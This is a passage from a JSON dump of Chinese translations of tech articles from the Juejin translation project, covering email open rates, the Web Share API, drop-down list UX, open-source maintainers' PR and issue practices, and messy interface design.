尽量避免广撒网?\n\n我研究的最后一件事是关于每个活动发送给多少接收人。有针对性的发送给 5,000 人，和发送给 500,000 人打开率会有什么不同？\n\n原来答案是肯定的，比我预期的多。\n\n[![number-of-sends-ctt](https://blog.mixpanel.com/wp-content/uploads/2016/07/number-of-sends-ctt-223x300.png)](https://twitter.com/intent/tweet?text=Why%20do%20people%20open%20emails%3F%20%20https%3A%2F%2Fblog.mixpanel.com%2F2016%2F07%2F12%2Fwhy-do-people-open-emails%2F%3Futm_campaign%3D%26utm_source%3Dtwitter%26utm_medium%3Dsocial%26utm_content%3D%20pic.twitter.com%2FDXV10CD4w7)\n\n\n你可以看到，发送的越多，打开率越低。这说明，使用电子邮件营销，一种“口味”并不适合所有人。那些大型群发电子邮件毫无针对性，这意味着不同群体的读者会发现他们并不被关注。另一方面，小范围的邮件——比如用户做了特定的事情满足群发条件，然后（被）发送的邮件，能达到更高的打开率。给 5,000 人发送的活动打开率是给 500,000 发送的两倍。\n\n#### 小结\n\n不是要少发邮件，而是有针对性的创建一些更有特点的邮件活动，精心维护每一个小用户群体。\n\n## 别用过去的最佳实践来创建未来的电子邮件\n\n分析完这些数据，数据再好看也不能代表什么，我想表达的是，我们需要去质疑曾经的最佳实践。想想六年前你开始发送邮件，学到了什么。看看你们公司还在用的方法。事物变化的太快，不要把营销戒律当成箴言刻在石头上。\n\n从数字和这篇文章中所学到的，同样也需要去质疑。惯例也会变。人们阅读邮件的偏好也会变，2011 年觉得这个主题行很吸引人，2016 年可能就不感兴趣了。像在主题行中包含用户的名字，这种策略也很快过时了。曾经“有毒”的一些词，可能今天就“没毒”了。\n\n看起来很简单。我们都只是在想尽办法让大家点主题行，瞄一眼我们的邮件。但大家都一样。花时间来构思好的主题行，找出有效的方法，然后发出让用户想要打开的邮件。\n\n_还有你想知道，但我们没有测试到的好办法? 快告诉我们吧。 邮件 [blog@mixpanel.com](mailto:blog@mixpanel.com) 或 tweet [@mixpanel](http://twitter.com/mixpanel) 我们会看的._\n\n[![](https://blog.mixpanel.com/wp-content/uploads/2016/07/why-do-people-open-emails-ctt-300x150.png)](https://twitter.com/intent/tweet?text=Why%20do%20people%20open%20emails%3F%20%20https%3A%2F%2Fblog.mixpanel.com%2F2016%2F07%2F12%2Fwhy-do-people-open-emails%2F%3Futm_campaign%3D%26utm_source%3Dtwitter%26utm_medium%3Dsocial%26utm_content%3D%20pic.twitter.com%2FoRptlv49gp)\n\n_图片来自 [Andrew Taylor](https://www.flickr.com/photos/profilerehab/5707316547/in/photolist-9Gkunr-7bfPS1-KzGwZ-oxMAXY-hRmQD-J2dst-bBavHS-jWUyA-2q6n8-8F2iz9-6cdZ7H-FDFThy-3KMTAm-4kC7Ca-ouAjEm-7ZNTFh-5Qmfb6-5pw1mA-wUdon-6B817j-Bddh5-4gEfk-e3G5f-83bVCz-6k1NHD-4BSCA-bEGXg2-4qwMSH-bkbnqV-4kXzr5-kVsR6-48G2hm-4SKBZG-8iq4Go-vJs7G-cHDRcC-FF1gsD-daVFYT-33wxA-59sbz3-FCPKt-6HknLQ-2keEL6-4kTxdr-MGo5-fdVi2-afBt81-284GwD-oFg5-LLPYr), 遵守版权 [Attribution 2.0 Generic license](https://creativecommons.org/licenses/by/2.0/) 下可用_\n"
  },
  {
    "path": "TODO/why-do-we-need-a-new-api.md",
    "content": "> * 原文地址：[Web Share API brings the native sharing capabilities to the browser](https://blog.hospodarets.com/web-share-api#why-do-we-need-a-new-api)\n* 原文作者：[Serg Hospodarets](https://blog.hospodarets.com/about)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n* 校对者：[xilihuasi](https://github.com/xilihuasi),[IridescentMia](https://github.com/IridescentMia)\n\n# Web 分享 API 赋予浏览器原生分享能力\n\n多年来，Web 一直向着与移动原生应用等价的方向发展，并且新增了许多以前没有的特性。\n如今，浏览器支持了其中的大部分特性，从离线模式到用 Service Workers 增强体验以及 Geolocation 和 NFC。\n\n但有一种已经在移动应用上广泛使用的重要功能仍然缺失，那就是分享页面、文章或一些特定数据的功能。\n\nWeb 分享 API 是填补这种缺失的第一步，它将把原生的分享能力带到 Web 端。\n\n# 为什么需要新的 API\n\n前几年，在移动 Web 应用上尝试实现了一些 API/协议 能够实现分享功能：\n\n1）[Web Intents](http://webintents.org/) 在 Chrome 15 引入并实现，但在 [Chrome 24 中废弃](https://developer.chrome.com/apps/app_intents)\n\n2）也有许多自定义 URL 的解决方法：\n\n- [Android Intent：URL](https://developer.chrome.com/multidevice/android/intents)。这是个强大的 API，但仅限 Android 并且用 [在分享上有许多问题](https://github.com/mgiuca/web-share/blob/master/docs/explainer.md#why-cant-sites-just-use-android-intent-urls)。 \n- [在 macOs 或 iOS 上自定义 URL Schema](https://css-tricks.com/create-url-scheme/) 也能运行并且支持良好，但是和 Android 解法有相似的问题存在。\n\n3) Mozilla 曾提出了 [Web Activities](https://developer.mozilla.org/en-US/docs/Archive/Firefox_OS/API/Web_Activities) 方案，但是已经被淘汰，不再支持了。\n\n所以现在的情况是，没有 API 能够支持 Web 上简单的内容分享功能。\n但是用户需要一个快速分享的方式，能够方便地把 网址/文本/图片 等数据分享到他们喜欢的 app 和服务上。\n\n现在的能提供的是：\n\n1. 针对特定服务的分享按钮（将导致众多服务和内容整合商仅提供分享按钮的 API）\n\n2. 许多浏览器和应用程序提供自己特定的分享按钮。\n\n但仍然没有从 Web 应用程序分享内容的简便方法。\n\n# Web 分享 API\n\n如今的 Web 分享 API 是基于 [Promise](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Promise) 的非阻塞API 的最佳实践。\n\n正如其他大多数分享 API 一样，你能够分享的数据包括 `title`, `url` 和 `text`（三者至少一项为必填项）。\n下面是允许分享图片数据或/和文件对象的方案。\n\n如下所示：\n\n```\nfunction onShareClick(photo){\n    // WEB SHARE API\n    navigator.share({\n        title: 'Checkout this funny photo',\n        text: '',\n        url: window.location.origin + '/' + photo.id \n    })\n    .then(() => console.log('Successfully shared'))\n    .catch((error) => console.log('Error sharing:', error));\n}\n```\n\n[image credits](https://github.com/mgiuca/web-share/blob/master/docs/mocks/README.md)\n\n如你所见，这个 API 相当简单，并且目前为止接收至少一个以下字段：\n\n- `title` （string）： 被分享文档的标题（可能会被处理程序忽略）。\n- `text`（string）：形成分享消息主体的文本。\n- `url`（string）：被分享资源的 URL / URI 地址。 \n\n这个方法返回一个 Promise。\n\n如果用户选择了目标应用程序，它会被 resolve，同时目标应用成功接收数据。\n\nPromise 被 reject 的情况有如下几种：\n\n- 分享的是不可用数据（例如：传递错误字段）\n- 用户取消对话框，或者没有目标应用\n- 数据不能被传递到目标应用\n\n# 分享的数据\n\n网站上传递到 `navigator.share` 的所有字段通常都有许多预定义的值。\n\n例如，流行的 [Open Graph Markup](http://ogp.me/)。\n如果你的网站在使用它，那么你想分享网页数据时能够容易地重用值。\n\n我在下面的 demo 中使用了这个方法：\n\n```\nfunction getOpenGraphData(property){\n    return document.querySelector(`meta[property=\"${property}\"]`)\n        .getAttribute('content');\n}\n\nconst sharePage = () => {\n        navigator.share({\n            title: getOpenGraphData('og:title'),\n            text: getOpenGraphData('og:description'),\n            url: getOpenGraphData('og:url')\n        }) //...\n}\n```\n\n[Demo](/demos/web-share-api/)\n\n这里有一个视频示范如何使用它 \n\n（点击分享按钮 ➡️  tweet ➡️  在 Twitter 上新增的 tweet）：\n\n![](https://hospodarets.com/img/blog/1485720302108099000.gif)\n\n绝大多数情况下，如果你想拥有从任何页面分享数据的能力，但是并不确定是 Open Graph 还是其他标签，\n这里有一个通用方案：\n\n```\nnavigator.share({\n    title: document.title,\n    url: document.querySelector('link[rel=canonical]') ?\n        document.querySelector('link[rel=canonical]').href :\n        window.location.href\n})\n```\n\n[`link[rel=canonical]`](https://en.wikipedia.org/wiki/Canonical_link_element) 代表可选但是更通用的 `<link>` 元素，\n意思是使用这个元素内 href 标签指向的 URL。 如果网站的 URL 有例如 `mobile` 的前缀或者其他内容，则这个 URL 不应该被分享。\n\n如果没有提供规范 link，那么分享的就是默认 URL。 \n\n最新建议，如果不可用的话（浏览器不支持，设备没有分享功能等），别忘了禁用或撤销分享功能。\n\n```\nif(!navigator.share){\n  shareButton.hidden = true;\n  return;\n}\n// SHARE CODE\n```\n\n# 要求\n\n现在，Web 分享 API 在 Android 上稳定的 Chrome 版本中已经可用。\n\n但首先，要求 HTTPS 环境，其次，在 [Origin Trial](https://github.com/jpchase/OriginTrials/blob/gh-pages/developer-guide.md) 下可用。\n\n简而言之，Origin Trial 使得开发者能够在固定一段时间内启用 API。\n这将给予供应商和 API 作者/提供商 反馈。\n你可以把它理解为你的网站可以在浏览器下启用分享的一个标志。\n你可以在这里找到一些可用的尝试 [here](https://github.com/jpchase/OriginTrials/blob/gh-pages/available-trials.md)。\n\n要启用 Web 分享 API，你需要：\n\n1. [登录并获取试用 token](https://docs.google.com/forms/d/e/1FAIpQLSfO0_ptFl8r8G0UFhT0xhV17eabG-erUWBDiKSRDTqEZ_9ULQ/viewform)\n2. 24 小时内，你将收到一封邮件，里面包含试用 Token 和如何在 Web 应用中使用的说明\n3. 在 header 中或者直接在网页的 HTML，全局任何你想使用这个 API 的地方加上下面这段代码\n\n```\n<metahttp-equiv=\"origin-trial\"data-feature=\"Web Share\"content=\"TOKEN_FROM_THE_EMAIL\">\n```\n\nWeb 分享试用在 Chrome 55 上引入了，将支持到 2017 年 4 月，在那之后也许会在浏览器中默认开启。 \n\n总结一下启用 Web 分享 API 的步骤：\n\n1. 网站在 HTTPS 环境下\n2. 把 origin trial 相关的 header/meta 加入到页面上\n3. 用户行为（点击，触摸）触发并调用 `navigator.share()`   \n\n# 总结\n\n随着 Web 的发展，移动 Web 与原生应用之间的界限越来越模糊，Web 分享 API 就是革命的下一步，如今你就可以使用了。\n\n未来的工作将围绕跨平台 API 的实现，图片数据的提供或者文件（二进制对象）的分享。\n\n同时，不仅限于发送，关于 Web 应用的分享接收也有一个讨论。\n\n在 [Web 分享目标 API](https://github.com/mgiuca/web-share/blob/master/docs/explainer.md#how-can-a-web-app-receive-a-share-from-another-page0) 中，我们也许能了解更多分享之后的事情。\n\n最后，以下是一份有用的链接清单：\n\n- [Web 分享 API 提案](https://github.com/WICG/web-share)\n- [实验方案：Android 中的 Web 分享](https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/zuqQaLp3js8/5V9wpRWhBgAJ)\n"
  },
  {
    "path": "TODO/why-drop-down-lists-are-bad-for-the-user-experience.md",
    "content": ">* 原文链接 : [Why drop-down lists are bad for the user experience.](https://medium.com/apegroup-texts/why-drop-down-lists-are-bad-for-the-user-experience-eeda5cbbd315#.p1yny0k15)\n* 原文作者 : [Nils Sköld](https://medium.com/@NilsSkold)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [邵辉Vista](https://github.com/shaohui10086)\n* 校对者:[L9m](https://github.com/L9m), [circlelove](https://github.com/circlelove)\n![](https://cdn-images-1.medium.com/fit/t/1200/504/0*gY3MGKcuxGcVrBwJ.png)\n\n# 下拉菜单为何是一种不好的用户体验？\n\n#### 一个完全不合理的行业标准\n\n随着在用户界面和可用性方面的研究，尤其在用户输入表单上，我越来越意识到一个事实那就是下拉列表的用户体验几乎总是不好的。\n\n下拉列表经常用于有多个选项，只允许用户选择一个的时候。它和单选按钮的效用相同。使用它而不使用单选按钮的理由，是因为它占用更少的空间，但是我已经陈述过了[我们不再需要节省网页上的垂直方向上的空间](https://medium.com/design-ux/11faa3abb6b7)。\n\n下拉列表有一个很大的问题，那就是用户不能直接看到所有选项，而是需要点击查看所有的选项，然后浏览一遍，然后才能做出一个选择。当用户在大多数输入表单上使用键盘时，下拉列表的体验是特别不好的。\n\n下面是一些替代下拉列表的可选方案：\n\n#### 1\\. 用多个单选按钮替换下拉列表\n\n这些选项应该直接出现在视野中，而不是在用户点击后才显示。这样用户就能直接看到有哪些选项，然后做出知情的决策。一定要确认单选按钮做得简单明了，并且只能选择一个。\n\n![](https://cdn-images-1.medium.com/max/800/0*Utv3Kmbo8HWtLiIl.png)\n\n#### 2\\. 两个选项应作为一个开关按钮\n\n如果只有两个选项，应该把下拉菜单替换成一个开关，并且最普遍的那个选项应该被预选上，一个很好的例子就是在一个注册表单里选择性别，如果用一个下拉菜单，每个用户都需要做两次点击--选择这个菜单然后选择这个选项，用开关的话，女性（全部人口的51%）被预选上，那么只有9%的人需要做1次点击，这是一个巨大的差别，这里就有一个很糟糕的例子，来自Yahoo.com：\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2w3s0eu0nj20m805a74f.jpg)\n\n#### 3\\. 许多选项应作为一个自动完成控件\n\n一个被广泛接受的观点就是下拉列表里最多的选项数应该在15个左右（有人说是12，另一些人说是16），如果超过了一个范围，很容易产生迷惑性，对用户来说是一个很艰难的抉择，浏览一个那么长的选项列表，那么多的选项放在用户手里。我们应该努力尽可能地去除很多选项，因为我们已经在后台做了很多工作，这样用户要想的越少，越好。\n\n一个很好的例子就是国家选择器，到现在为止，当你选择你的国家时，使用下拉列表仍是一个绝对的标准。[ludacris](http://open.spotify.com/track/77dC7dKzMm65Y9jkJs0Ssd),Smashing Mag一年前就这个问题写过一篇很好的文章，叫做[《重新设计国家选择器》](http://uxdesign.smashingmagazine.com/2011/11/10/redesigning-the-country-selector/)，当有很多可能的选项时，使用自动完成控件，让系统去完成这样的工作，而不是用户。\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2w3sl6tm8j2077065glw.jpg)\n\n所以，有没有哪些位置用一个下拉列表才是最佳的选择呢？是的，当然有，在任意一种你有多个选项的情况下，你都可以在你的表单里使用多个单选按钮，用户根本就不知道他们当前选的是哪一个的，但是这种情况发生得很少，如果这种事情真的发生了，那么重新思考一下，利用多样的控件来让用户使用起来更简单才是明智的，作为一个很好的表单应该怎么设计的例子，[浏览一下Typeform](http://www.typeform.com/)，他们做的每一件事情都是对的。\n\n最后几句，我想说几句虽然有些偏离主题但是需要说的：如果这个字段是可选的，那它就不应该出现在表单里，移除所有不必要的注册流程和对用户来说不必要的东西。这就通常意味着你需要在必选的模块那加一个*（如果在某些情况下，你仍然需要可选的输入框，标出它们是可选的）*。\n\n\n"
  },
  {
    "path": "TODO/why-i-close-prs-oss-project-maintainer-notes.md",
    "content": "> * 原文地址：[Why I close PRs (OSS project maintainer notes)](http://www.jeffgeerling.com/blog/2016/why-i-close-prs-oss-project-maintainer-notes)\n* 原文作者：[Jeff Geerling](http://www.jeffgeerling.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[Zhiw (Zhiwei Yu)](https://github.com/Zhiw), [Luolc (LoLo)](https://github.com/Luolc)\n\n# 为什么我关闭了你的 PR （开源软件维护者笔记）\n\n![GitHub 上 geerlingguy/drupal-vm 的 PRs 提醒](http://www.jeffgeerling.com/sites/jeffgeerling.com/files/images/github-project-notifications-prs.jpg) \n\n我在 GitHub 以及类似的平台上维护了许多开源项目（写就本文时有超过 160 个项目）。这几年我合并或关闭了数千个拉取请求（PR）和补丁（patch），这里我想总结一下**不合并** PR 的理由。\n\n我有些项目有共同维护者，但是大部分都是我维护的。我通过授予非常开放的开源协议并鼓励复刻（fork）来弥补[巴士因子](https://zh.wikipedia.org/wiki/%E5%B7%B4%E5%A3%AB%E5%9B%A0%E5%AD%90)较低的不足。。我还投入了固定的时间（平均每周 5 到 10 小时）来维护我的开源软件项目，并且计划每年花一千美元在基础设施上来支持我的项目（很遗憾这已经比大多数用了我的项目的盈利性公司贡献给开源软件的还要多了）。\n\n我并不喜欢不合并就直接关闭 PR，因为 PR 本身就表示有人非常喜欢我的项目甚至愿意做出贡献。但有时候我不得不这样做。我不是想做个混蛋（我通常会先感谢贡献者的付出，好让我关闭 PR 时不会对他造成太大打击），我只是想保证项目能持续健康地发展下去。下面是我维护自己项目时所遵循的原则，真希望读者通过本文可以理解我为什么关闭 PR 而不是合并它。\n\n## 评估 PR 的原则\n\n对于我维护的项目而言（实际上，对于大多数我参与开发的软件而言），我认为以下原则是最重要的。如果 PR 没能遵循这些原则我就会关闭它。\n\n### 所有东西都要经过完整的自动化测试\n\n我维护过的大多数项目都要经过 Travis CI、Jenkins 或其他持续集成系统组成的成功路径（happy path）。[如果你破坏我的测试我会打烂你的脸](https://www.amazon.com/SmartSign-Lyle-K2-0113-AL-12x18-Breaka-Aluminum/dp/B01KIYWD70/ref=as_li_ss_tl?ie=UTF8&amp;qid=1482861696&amp;sr=8-1-fkmr0&amp;keywords=if+you+taka+my+space+i+breaka+your+face&amp;linkCode=ll1&amp;tag=mmjjg-20&amp;linkId=71ba06c689653589697ff5c93c95491f)。除非极个别的情况，我不会合并没有通过全部测试的 PR。如果 PR 新增了大量未经测试的功能，我也不会合并。我不要求 100% 的单元测试覆盖率，但是所有的测试都必须通过。\n\n### 可维护性比完整性更重要\n\n我不会迎合任何人，我通常只迎合自己。我 98% 的开源软件项目都会真正用在生产环境中（差不多有几十甚至几百个项目）。所以我总体上对它们的现状都很满意。我不会随意去加一些东西加重自己的维护负担，除非它是非常有吸引力的功能，或者是一个明显的错误修正。我无法维护一个连自己都无法完全理解的系统，所以我喜欢让东西保持简单，去掉特殊情况而不是引入[技术债](http://martinfowler.com/bliki/TechnicalDebt.html)，我知道我没时间偿还。\n\n### 适用于 80% 的用例\n\n我见过许多为了一次性功能而提的 PR，我个人都没在真实环境中见过这些功能。当然，的确有一些凤毛麟角的系统需要在一些晦涩的应用中配置很多麻烦的细节。但我不打算在我的项目中引入这些代码。首先，我用不到，所以没法保证正确性。其次，这增加了维护成本，哪怕只是「简单」的加法。如果你在用这些罕见的系统，请复刻（fork）我的项目。我没有什么意见！我公开的项目大都用来解决[最常见的问题](https://zh.wikipedia.org/wiki/%E5%B8%95%E9%9B%B7%E6%89%98%E6%B3%95%E5%88%99)；我也试着让别人可以更简单地通过复刻（fork）或者是拓展来进一步开发我的项目。\n\n### 使用规范的语法\n\n通常我会在自动测试系统中内置自动语法检查工具。但是如果我忘了，请确保基本遵从项目的总体风格\n，涉及到间距、变量命名规范、断行、[用空格代替 tab](https://www.youtube.com/watch?v=SsoOG6ZeyUI) 等等。我经常需要合并代码之后再去修正代码风格，如果能省了这工夫就太好不过了。我也更愿意合并没有奇怪风格的代码。\n\n### 不要修改架构\n\n（除非事先在 issue 中讨论过。）\n\n我见过将整个项目架构或测试架构都推翻重建的 PR。除非事先在 issue 中进行过全面的讨论（并得到我的同意），否则我永远不会合并这种 PR 。一切都事出有因（而且实际上有**很多**原因）。我不是说我的架构或测试框架永远是**正确**的，但我不会合并那些会引入翻天覆地变化的代码，不然我自己都会难以理解自己的项目。\n\n### 不要在一次 PR 中修改超过 50 行代码\n\n（除非理由充分。）\n\n我收到过太多次 PR 通知然后发现有 12 个提交（commit）修改了 20 个文件的 800 行代码。如果这是上面提到的涉及架构调整的 PR，而且事先在 issue 中讨论过，我会花时间看完所有的修改。可是如果改动超过 50 行，我就没有办法在一个小时内好好地审核完代码。\n\n## 结论：默认就是「拒绝」\n\n在这一过程中最讽刺的事之一，就是那些最固执、烦人、难搞的 issue 和 PR 的发起者在我解决了他们项目中出现的问题之后马上就会消失。他们意识到（通常不那么**直接**）如果他们能说服**我**维护他们的雪花代码（译者注：这个梗来自 No two snowflakes are alike. snowflake code 强调不用大家约定俗成的写法，刻意使用奇葩的写法。），他们就可以摆脱正在折磨他们的技术债。\n\n如果贡献者愿意和项目建立长期的关系，我愿意给他们控制代码架构部分权力。但是他们必须证明我可以信任他们。我的项目中最好的一些贡献者正是那些在自己的盈利性工作中使用这些项目的人，但是他们每周会贡献一到两小时帮助整理 issue 队列，关闭无效的 issue，提 PR 修正简单的错误（尤其是那些他们最为熟悉的项目）。\n\n我要对任何维护开源软件项目的人说：要保证自己有一套完整的评估 PR 的原则。要对不能符合原则的 PR **坚决说不**。有太多项目偏离正轨的原因就是接受了太多新特性却没有考虑到长期的可维护性，这个问题非常容易解决，说不就行了。\n"
  },
  {
    "path": "TODO/why-i-havent-fixed-your-issue-yet.md",
    "content": "\n  > * 原文地址：[Why I Haven’t Fixed Your Issue Yet](https://medium.com/@michlbrmly/why-i-havent-fixed-your-issue-yet-a24ab4bc0d55)\n  > * 原文作者：[Michael Bromley](https://medium.com/@michlbrmly)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-i-havent-fixed-your-issue-yet.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-i-havent-fixed-your-issue-yet.md)\n  > * 译者：[LeviDing](https://github.com/leviding)\n  > * 校对者：[shawnchenxmu](https://github.com/shawnchenxmu)，[sunui](https://github.com/sunui)\n\n  # 为什么我还没 Fix 你的 Issue\n\n  ![](https://cdn-images-1.medium.com/max/1600/0*sBJnwQRCh05t-nXu.jpg)\n\n你好，你在 GitHub 上的项目中提出的一个问题，现在已经过期了。\n\n我早就体会到了 GitHub 的亲切，它可以给我发送一封我在两周前早晨时扫过一眼的关于你的相关信息的邮件。从那以后，我已经简单地想过了几次，有一次我在淋浴的时候，我得到了一个模糊的想法，我知道是什么造成的 —— 但我不确定，因为我不记得具体细节。\n\n当然，你不知道这一切。你想知道你的问题是不是已经沉没无效了 —— 这对你当前的项目可能至关重要 —— 你已经被困在其中了。请允许我用几分钟解释你为什么没收到我的回复。\n\n几年前，我是一个自由职业者和一个新生儿的父亲。我有很多自由的时间，让我做事更加灵活，我的小孩因为很小，不会到处乱跑，这也让我不用太费心。那时我开始写相关的编程库并在 GitHub 上发布。看到人们使用我的代码是很令人兴奋且感觉付出得到了回报。在 GitHub 上收集星星是一个会上瘾的乐趣，就像任何其他类型的“虚拟互联网点数”一样。我有足够的时间来处理问题并做相应的改进，我一般会在一两天之内回复（并经常解决）问题。\n\n现在我的工作是全职的。我有一个年龄很小的孩子，还有另一个大一点的孩子。小孩既不温柔也不固定。如果我很幸运，我可以能够有一个小时的空闲时间 —— 一般在晚上 9 点到晚上 10 点之间。\n\n你知道在这段时间里我喜欢做什么吗？很不幸，我的答案不是「**启动我的 IDE，建立管道，启动一个本地的服务器，并尝试修复别人的问题**」。我不是要谴责，我只是说实话。我疲惫的夜晚，大多数时间都难以胜任这项任务。通常我喜欢坐在沙发上，享受坐着的感觉。\n\n那么，这会有什么影响呢，我的编程库的用户？我不再在乎你遇到的问题了吗？你是否因为在你的项目中使用我的编程库，而使公司失败了？在这个**自由和开放源代码软件**（FOSS）的世界中，我们都生活在这样的环境下，你公司的产品中有多少部分与一些独立的、无偿的软件包维护者的生活方式和优先级联系在了一起？这也是我必须考虑的事情 —— 在我的一天工作中，我在许多 FOSS 库之间构建软件，其中许多都可能在类似情况下由我自己维护。\n\n与生活中的一切一样，涉及到权衡。有一个隐含的协议，需要被 FOSS 项目的消费者和创造者所理解<sup>[\\[1\\]](#note1)</sup>。它是这样的：\n\n- 我同意免费为你提供一些解决问题的代码。\n- 我承认，在这样做的时候，我为我的代码的用户承担了一小部分的责任。\n- 如果你难以使用我的代码，我同意尝试帮助你。\n- 我同意尝试修复你在我代码中找到的错误。\n- 你同意，我无薪酬付出但是有权利按照我的意愿给上述几点分配优先级。\n\n最后一点就是为什么我还没有解决你的问题的原因。你的问题正在与我的工作、我的家人、我的其他兴趣，当然还有所有其他需要解决的问题堆在一起，我需要按照优先级来完成。\n\n所以，我想对所有 FOSS 项目的用户，以及使用和受益于 FOSS 生态系统的所有开发人员说：\n\n> 我会尽全力去解决。我真的想帮你。\n\n> 请认真阅读 [issue template](https://github.com/michaelbromley/ng2-pagination/blob/master/ISSUE_TEMPLATE.md)，并按照这种更容易让我明白的方式提问题。\n\n> 你需要花时间了解、研究和调试你的问题 —— 不要把这个负担推到我身上。\n\n> 你要明白我不一定会在看似非常合理的时间内回复。你也尽量别做那个非常粗鲁、侮辱别人的人（我不会因为你的行为而更关注这个问题）。\n\n感谢你的阅读，编程愉快。\n\n1. <a name=\"note1\"></a>本协议适用于以某种方式进行推广的项目。如果你告诉人们“嘿，你应该使用我的东西”，那么你已经和他们签订了这个协议。如果你仅仅是把你的东西放在 GitHub 上，那么它不一定适用。\n\n---\n\n**首发于** [*www.michaelbromley.co.uk*](https://www.michaelbromley.co.uk/blog/why-i-havent-fixed-your-issue-yet/)。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/why-i-love-ugly-messy-interfaces-and-you-probably-do-too.md",
    "content": ">* 原文链接 : [Why I love ugly, messy interfaces — and you probably do too](https://m.signalvnoise.com/why-i-love-ugly-messy-interfaces-and-you-probably-do-too-edff4a896a83#.9ktye0b9m)\n* 原文作者 : [Jonas Downey](https://medium.com/@jonasdowney)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](https://github.com/circlelove)\n* 校对者: [Jonwei](https://github.com/Jonwei)， [Ruixi](https://github.com/Ruixi) \n\n# 为什么我们喜欢丑的、一团糟的界面以及你为什么也要这样\n\n美丽、清新、整洁、明了、极简。这些词语在相当一段时间里面主导了设计的话语。为了防止你忘记他们，在 Creativeblog 上面查看[网站的合集](http://www.creativebloq.com/portfolios/examples-712368)。在一篇文章当中，美丽这个词被使用了6次，而简单被用了11次。\n\n\n\n\n现在这些词汇被使用得非常频繁。不仅设计师们会在作品集中引用它们，来描绘他们的设计理念，目标和成果，非设计师的人也会在他们的档案或简历中引用这些词汇。\n\n\n\n\n\n如果你也这么干过，你可能有一个看上去像这样的一个网站：\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2p9je65eqj20wa0tuaix.jpg)\n\n\n\n这样巧妙的设计变得如此普遍以至于_美丽_和_简单_几乎成为新项目的基本条件。似乎每个设计者都有相同的 Pintest 咖啡店的狂热的梦，认定了世界要变得时尚。\n\n \n\n\n这真是太合理了！每个人都喜欢看起来亮丽时尚的那种容易理解消化的东西。没人想要丑的凌乱的事物。\n\n\n真的是这样吗？\n\n\n\n\n###这里有一些丑到爆的设计。\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2p9lj1q9zj20xc0qrtl1.jpg)\n\n\n\n####这里是很流行的一些杂乱的设计\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2p9lx308wj20xc0pqdka.jpg)\n\n\n####这是一些月用户一百五十万的复杂设计\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2p9m8c0rnj20xc0riqdh.jpg)\n\n所以……等下。如果美丽、清新、干净、简单那么重要的话，为什么没人用更好的东西来颠覆上述所有这些产品呢？例如会出现有无数更简洁好看的 Cgraigslist 站和 Photoshop 的竞争对手。\n\n问题的答案是，这些产品在解决用户问题方面做得极棒，而他们复杂的界面是其成功的关键。\n\n假设你的目的是完成一个全球的 P2P 商业网络。那真的需要解决一个巨大庞杂的项目。\n\n\n\n你会去尝试压缩你的解决方案到一个最简化的版本，以美丽简洁之名砍掉功能，减小密度。下面这个网站的设计理念就挺 Craigslist 。（设计者们讨厌 Craigslist ，不是吗？其他的网站也对 Craigslists 设计风格进行了重新设计 ）\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2p9mpbsv9j20m80dwdha.jpg)\n\n或者，你决定不去砍掉功能，因为抓住你关注的每一个案例更重要。（记住，你必须支持大量的方案才能满足项目的投入需求。）现在美丽和简洁的优先级更低了。实用至上！\n\n\n另一种情况，看看 Photoshop 。有多少崇拜瑞士风格的设计师每天也的使用 Photoshop ？ 或许其中多数都在用。然而 Photoshop 的用户界面恰恰就是极简主义的反义词——它有着比家里凌乱地下室更恶心不堪的操作菜单。但这个并不重要，因为人们使用 Photoshop 并不是因为它拥有激动人心的 UI ，人们使用它是为了完成工作。\n\n\n换句话说，有时候，这么做不好\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f2p9n56c23j20aq0bdwf0.jpg)\n\n你真正需要的是这个（设计得不那么简洁）\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2p9ng4br1j20dh09e405.jpg)\n\n此时我并不是要你去复杂化你的设计工作或者故意让它们看起来糟糕。我也不是在暗示上述的例子无法改善。\n\n我的观点是，正确的方法不只一个。没有理由假定页面上文本和链接多，或者过于密集或稀疏的界面审美就是坏的——那些可能成为解决手头问题的最好选择。尤其是对于庞大冗杂的项目。解决庞大冗杂项目的产品才是生活救星。我喜欢使用这些东西因为他们做起事情来太给力了。当然他们自己确实有点杂乱臃肿。而这正是为什么他们好用的原因。\n\n\n\n\n\n我们不必在美丽极简设计的祭坛前祈祷。设计不一定是神圣的。扔掉你的假设，构建能最有效解决问题的东西。我们让 Basecamp 成为那些救星般庞大冗杂的问提解决方案之一。去! [BASECAMP.COM](http://basecamp.com)看一看吧！\n\n\n"
  },
  {
    "path": "TODO/why-is-arkit-better-than-the-alternatives.md",
